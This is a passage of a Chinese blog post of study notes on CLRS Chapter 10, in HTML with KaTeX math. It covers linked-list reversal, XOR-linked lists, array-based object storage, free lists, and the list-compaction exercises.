= n<span class="number">2.</span>next</span><br><span class="line">    n<span class="number">2.</span>next = n1</span><br><span class="line">    n1 = n2</span><br><span class="line">    n2 = n3</span><br><span class="line">L.NIL.next = n1 <span class="comment">// 注意 NIL 的 next 还指向原来的第一个元素，需要更新它的 next 指向反转后的第一个元素</span></span><br></pre></td></tr></table></figure><p>虽然如果将 <code>n1</code> 和 <code>n2</code> 反向链接之后，会丢失原来的 <code>n2.next</code>，但如果循环的时候提前记录为 <code>n3</code> 就可以了。</p><blockquote><p>10.2-8 设 <p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mi>x</mi><mi mathvariant="normal">.</mi><mi>n</mi><mi>p</mi><mo>=</mo><mtext>prev</mtext><mo>⊕</mo><mtext>next</mtext></mrow><annotation encoding="application/x-tex">x.np = \text{prev} \oplus \text{next}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">x</span><span class="mord">.</span><span class="mord mathnormal">n</span><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7778em;vertical-align:-0.1944em;"></span><span class="mord text"><span class="mord">prev</span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⊕</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6151em;"></span><span class="mord text"><span class="mord">next</span></span></span></span></span></span></p>，其中 NIL 的地址为 0，试用这种方法实现双链表，并在 O(1) 时间内实现反转。</p></blockquote><p>由于有 <p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mi>x</mi><mi mathvariant="normal">.</mi><mi>n</mi><mi>p</mi><mo>=</mo><mtext>prev</mtext><mo>⊕</mo><mtext>next</mtext></mrow><annotation encoding="application/x-tex">x.np = \text{prev} \oplus \text{next}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">x</span><span class="mord">.</span><span class="mord mathnormal">n</span><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7778em;vertical-align:-0.1944em;"></span><span class="mord text"><span class="mord">prev</span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⊕</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6151em;"></span><span class="mord text"><span class="mord">next</span></span></span></span></span></span></p></p><p>所以有 <p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mtext>prev</mtext><mo>=</mo><mi>x</mi><mi mathvariant="normal">.</mi><mi>n</mi><mi>p</mi><mo>⊕</mo><mtext>next</mtext></mrow><annotation encoding="application/x-tex">\text{prev} = x.np \oplus \text{next}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord text"><span class="mord">prev</span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7778em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">x</span><span class="mord">.</span><span class="mord mathnormal">n</span><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⊕</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6151em;"></span><span class="mord text"><span class="mord">next</span></span></span></span></span></span></p> 和 <p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mtext>next</mtext><mo>=</mo><mi>x</mi><mi mathvariant="normal">.</mi><mi>n</mi><mi>p</mi><mo>⊕</mo><mtext>prev</mtext></mrow><annotation encoding="application/x-tex">\text{next} = x.np \oplus \text{prev}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6151em;"></span><span class="mord text"><span class="mord">next</span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7778em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">x</span><span class="mord">.</span><span class="mord mathnormal">n</span><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⊕</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord text"><span class="mord">prev</span></span></span></span></span></span></p></p><p>没法从 <code>x.np</code> 直接计算得出 <code>x.next</code> 或者 <code>x.prev</code> 所有操作都必须从头开始，利用已知 NIL 为 0 来计算。</p><p>此外对于反转，由于 <p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mi>x</mi><mi mathvariant="normal">.</mi><mi>n</mi><mi>p</mi><mo>=</mo><mtext>prev</mtext><mo>⊕</mo><mtext>next</mtext><mo>=</mo><mtext>next</mtext><mo>⊕</mo><mtext>prev</mtext></mrow><annotation encoding="application/x-tex"> x.np = \text{prev} \oplus \text{next} = \text{next} \oplus \text{prev} </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">x</span><span class="mord">.</span><span class="mord mathnormal">n</span><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7778em;vertical-align:-0.1944em;"></span><span class="mord text"><span class="mord">prev</span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⊕</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6151em;"></span><span class="mord text"><span class="mord">next</span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6984em;vertical-align:-0.0833em;"></span><span class="mord text"><span class="mord">next</span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⊕</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord text"><span class="mord">prev</span></span></span></span></span></span></p> 所以反转后 <code>x.np</code> 不变，所以反转操作只需要交换链表的 <code>head</code> 和 <code>tail</code> 就好了。</p><p><s>我一直在想有没有办法能直接从 <code>np</code> 解出 <code>next</code> 和 <code>prev</code></s></p><h2 id="implementing-pointers-and-objects"><a class="markdownIt-Anchor" href="#implementing-pointers-and-objects"></a> Implementing Pointers and Objects</h2><p>离开了对象和指针一样可以只用数组来构建它们。</p><p>在 OOP 语言中可以创建对象，存储到内存堆，同样也可以在数组中存储这些对象的成员。</p><p>比如</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">struct</span> <span class="title class_">Node</span>&#123;</span><br><span class="line">  <span class="type">int</span> value;</span><br><span class="line">  Node *next;</span><br><span class="line">  Node *prev;</span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure><p>一种方法是为每个成员创建一个数组，存储所有对象的该成员的值，比如 <code>value[]</code>、<code>next[]</code> 和 <code>prev[]</code>，对象 <code>i</code> 的成员值就存储在 <code>value[i]</code>、<code>next[i]</code> 和 <code>prev[i]</code> 中。</p><p>另一种方法是为每个对象创建一个数组，由于每个对象都占用固定大小的内存，所以对象 <code>i</code> 的成员值就存储在 <code>array[i * size + offset]</code> 中，其中 <code>size</code> 是每个对象占用的内存大小，<code>offset</code> 是成员在对象中的偏移量。</p><p>实际上把内存当成数组看，那这就是在做和编译器一样的事情。</p><hr /><p>对于内存分配，或者说数组分配，如果对象永不销毁，那么只要从头到尾填满数组即可，空间利用率为 100%。</p><p>但对象销毁后就会留下空位，如果不继续利用，很快内存就会耗尽。一般由 garbage collector 来回收，下面用自由表来维护分配和回收。</p><p>自由表是单链表，在数组上记录下一个自由空位将空位穿起来，<code>free</code> 指针指向第一个空位。当需要分配对象时，从 <code>free</code> 指针指向的空位分配，并将 <code>free</code> 更新为下一个空位；当对象销毁时，将其位置加入自由表中。</p><p><s>这些概念已经见过好几次了</s></p><blockquote><p>10.3-4 如何使得 <code>free</code> 指针指向的空位总是数组中最早的空位？使得数组紧凑</p></blockquote><p>每次释放空间后，将最后一个分配的对象移动到被释放的位置，并更新 <code>free</code> 指针到最后一个分配的对象的位置。</p><blockquote><p>10.3-5 Let <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>L</mi></mrow><annotation encoding="application/x-tex">L</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">L</span></span></span></span> be a doubly linked list of length <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi></mrow><annotation encoding="application/x-tex">n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span> stored in arrays <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>k</mi><mi>e</mi><mi>y</mi></mrow><annotation encoding="application/x-tex">key</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mord mathnormal" style="margin-right:0.03588em;">ey</span></span></span></span>, <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>p</mi><mi>r</mi><mi>e</mi><mi>v</mi></mrow><annotation encoding="application/x-tex">prev</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">p</span><span class="mord mathnormal">re</span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span></span></span></span>, and <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi><mi>e</mi><mi>x</mi><mi>t</mi></mrow><annotation encoding="application/x-tex">next</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6151em;"></span><span class="mord mathnormal">n</span><span class="mord mathnormal">e</span><span class="mord mathnormal">x</span><span class="mord mathnormal">t</span></span></span></span> of length <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>m</mi></mrow><annotation encoding="application/x-tex">m</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">m</span></span></span></span>. Suppose that these arrays are managed by <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mtext>ALLOCATE-OBJECT</mtext></mrow><annotation encoding="application/x-tex">\text{ALLOCATE-OBJECT}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord text"><span class="mord">ALLOCATE-OBJECT</span></span></span></span></span> and <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mtext>FREE-OBJECT</mtext></mrow><annotation encoding="application/x-tex">\text{FREE-OBJECT}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord text"><span class="mord">FREE-OBJECT</span></span></span></span></span> procedures that keep a doubly linked free list <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>F</mi></mrow><annotation encoding="application/x-tex">F</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.13889em;">F</span></span></span></span>. Suppose further that of the <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>m</mi></mrow><annotation encoding="application/x-tex">m</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">m</span></span></span></span> items, exactly <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi></mrow><annotation encoding="application/x-tex">n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span> are on list <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>L</mi></mrow><annotation encoding="application/x-tex">L</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">L</span></span></span></span> and <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>m</mi><mo>−</mo><mi>n</mi></mrow><annotation encoding="application/x-tex">m - n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">m</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span> are on the free list. Write a procedure <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mtext>COMPACTIFY-LIST</mtext><mo stretchy="false">(</mo><mi>L</mi><mo separator="true">,</mo><mi>F</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">\text{COMPACTIFY-LIST}(L, F)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord text"><span class="mord">COMPACTIFY-LIST</span></span><span class="mopen">(</span><span class="mord mathnormal">L</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.13889em;">F</span><span class="mclose">)</span></span></span></span> that, given the list <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>L</mi></mrow><annotation encoding="application/x-tex">L</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">L</span></span></span></span> and the free list <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>F</mi></mrow><annotation encoding="application/x-tex">F</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.13889em;">F</span></span></span></span>, moves the items in <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>L</mi></mrow><annotation encoding="application/x-tex">L</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">L</span></span></span></span> so that they occupy array positions <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>1</mn><mo separator="true">,</mo><mn>2</mn><mo separator="true">,</mo><mo>…</mo><mo separator="true">,</mo><mi>n</mi></mrow><annotation encoding="application/x-tex">1, 2, \ldots, n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8389em;vertical-align:-0.1944em;"></span><span class="mord">1</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">2</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner">…</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">n</span></span></span></span> and adjusts the free list <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>F</mi></mrow><annotation encoding="application/x-tex">F</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.13889em;">F</span></span></span></span> so that it remains correct, occupying array positions <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi><mo>+</mo><mn>1</mn><mo separator="true">,</mo><mi>n</mi><mo>+</mo><mn>2</mn><mo separator="true">,</mo><mo>…</mo><mo separator="true">,</mo><mi>m</mi></mrow><annotation encoding="application/x-tex">n + 1, n + 2, \ldots, m</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8389em;vertical-align:-0.1944em;"></span><span class="mord">1</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8389em;vertical-align:-0.1944em;"></span><span class="mord">2</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner">…</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">m</span></span></span></span>. The running time of your procedure should be <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi mathvariant="normal">Θ</mi><mo stretchy="false">(</mo><mi>n</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">\Theta(n)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">Θ</span><span class="mopen">(</span><span class="mord mathnormal">n</span><span class="mclose">)</span></span></span></span>, and it should use only a constant amount of extra space. Argue that your procedure is correct.</p><p>设 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>L</mi></mrow><annotation encoding="application/x-tex">L</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">L</span></span></span></span> 为一个长度为 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi></mrow><annotation encoding="application/x-tex">n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span> 的双向链表，存储在长度为 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>m</mi></mrow><annotation encoding="application/x-tex">m</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">m</span></span></span></span> 的数组 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>k</mi><mi>e</mi><mi>y</mi></mrow><annotation encoding="application/x-tex">key</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mord mathnormal" style="margin-right:0.03588em;">ey</span></span></span></span>、<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>p</mi><mi>r</mi><mi>e</mi><mi>v</mi></mrow><annotation encoding="application/x-tex">prev</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">p</span><span class="mord mathnormal">re</span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span></span></span></span> 和 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi><mi>e</mi><mi>x</mi><mi>t</mi></mrow><annotation encoding="application/x-tex">next</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6151em;"></span><span class="mord mathnormal">n</span><span class="mord mathnormal">e</span><span class="mord mathnormal">x</span><span class="mord mathnormal">t</span></span></span></span> 中。假设这些数组由过程 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mtext>ALLOCATE-OBJECT</mtext></mrow><annotation encoding="application/x-tex">\text{ALLOCATE-OBJECT}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord text"><span class="mord">ALLOCATE-OBJECT</span></span></span></span></span> 和 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mtext>FREE-OBJECT</mtext></mrow><annotation encoding="application/x-tex">\text{FREE-OBJECT}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord text"><span class="mord">FREE-OBJECT</span></span></span></span></span> 进行管理，它们维持着一个双向的空闲链表 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>F</mi></mrow><annotation encoding="application/x-tex">F</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.13889em;">F</span></span></span></span>。进一步假设在 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>m</mi></mrow><annotation encoding="application/x-tex">m</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">m</span></span></span></span> 个元素中，恰好有 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi></mrow><annotation encoding="application/x-tex">n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span> 个在链表 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>L</mi></mrow><annotation encoding="application/x-tex">L</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">L</span></span></span></span> 上，而 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>m</mi><mo>−</mo><mi>n</mi></mrow><annotation encoding="application/x-tex">m - n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">m</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span> 个在空闲链表上。请编写一个过程 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mtext>COMPACTIFY-LIST</mtext><mo stretchy="false">(</mo><mi>L</mi><mo separator="true">,</mo><mi>F</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">\text{COMPACTIFY-LIST}(L, F)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord text"><span class="mord">COMPACTIFY-LIST</span></span><span class="mopen">(</span><span class="mord mathnormal">L</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.13889em;">F</span><span class="mclose">)</span></span></span></span>，在给定链表 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>L</mi></mrow><annotation encoding="application/x-tex">L</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">L</span></span></span></span> 和空闲链表 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>F</mi></mrow><annotation encoding="application/x-tex">F</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.13889em;">F</span></span></span></span> 的情况下，通过移动 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>L</mi></mrow><annotation encoding="application/x-tex">L</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">L</span></span></span></span> 中的元素，使它们占据数组的前 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>1</mn><mo separator="true">,</mo><mn>2</mn><mo separator="true">,</mo><mo>…</mo><mo separator="true">,</mo><mi>n</mi></mrow><annotation encoding="application/x-tex">1, 2, \ldots, n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8389em;vertical-align:-0.1944em;"></span><span class="mord">1</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">2</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner">…</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">n</span></span></span></span> 个位置，并调整空闲链表 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>F</mi></mrow><annotation encoding="application/x-tex">F</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.13889em;">F</span></span></span></span> 以确保其依然正确，且占据数组的 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi><mo>+</mo><mn>1</mn><mo separator="true">,</mo><mi>n</mi><mo>+</mo><mn>2</mn><mo separator="true">,</mo><mo>…</mo><mo separator="true">,</mo><mi>m</mi></mrow><annotation encoding="application/x-tex">n + 1, n + 2, \ldots, m</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8389em;vertical-align:-0.1944em;"></span><span class="mord">1</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8389em;vertical-align:-0.1944em;"></span><span class="mord">2</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner">…</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">m</span></span></span></span> 个位置。你的过程运行时间应为 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi mathvariant="normal">Θ</mi><mo stretchy="false">(</mo><mi>n</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">\Theta(n)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">Θ</span><span class="mopen">(</span><span class="mord mathnormal">n</span><span class="mclose">)</span></span></span></span>，且只能使用常数级 (constant amount) 的额外空间。请证明你的过程是正确的。</p></blockquote><p>由于这是个数组，可以直接任意访问节点，且目标是将 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>L</mi></mrow><annotation encoding="application/x-tex">L</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span 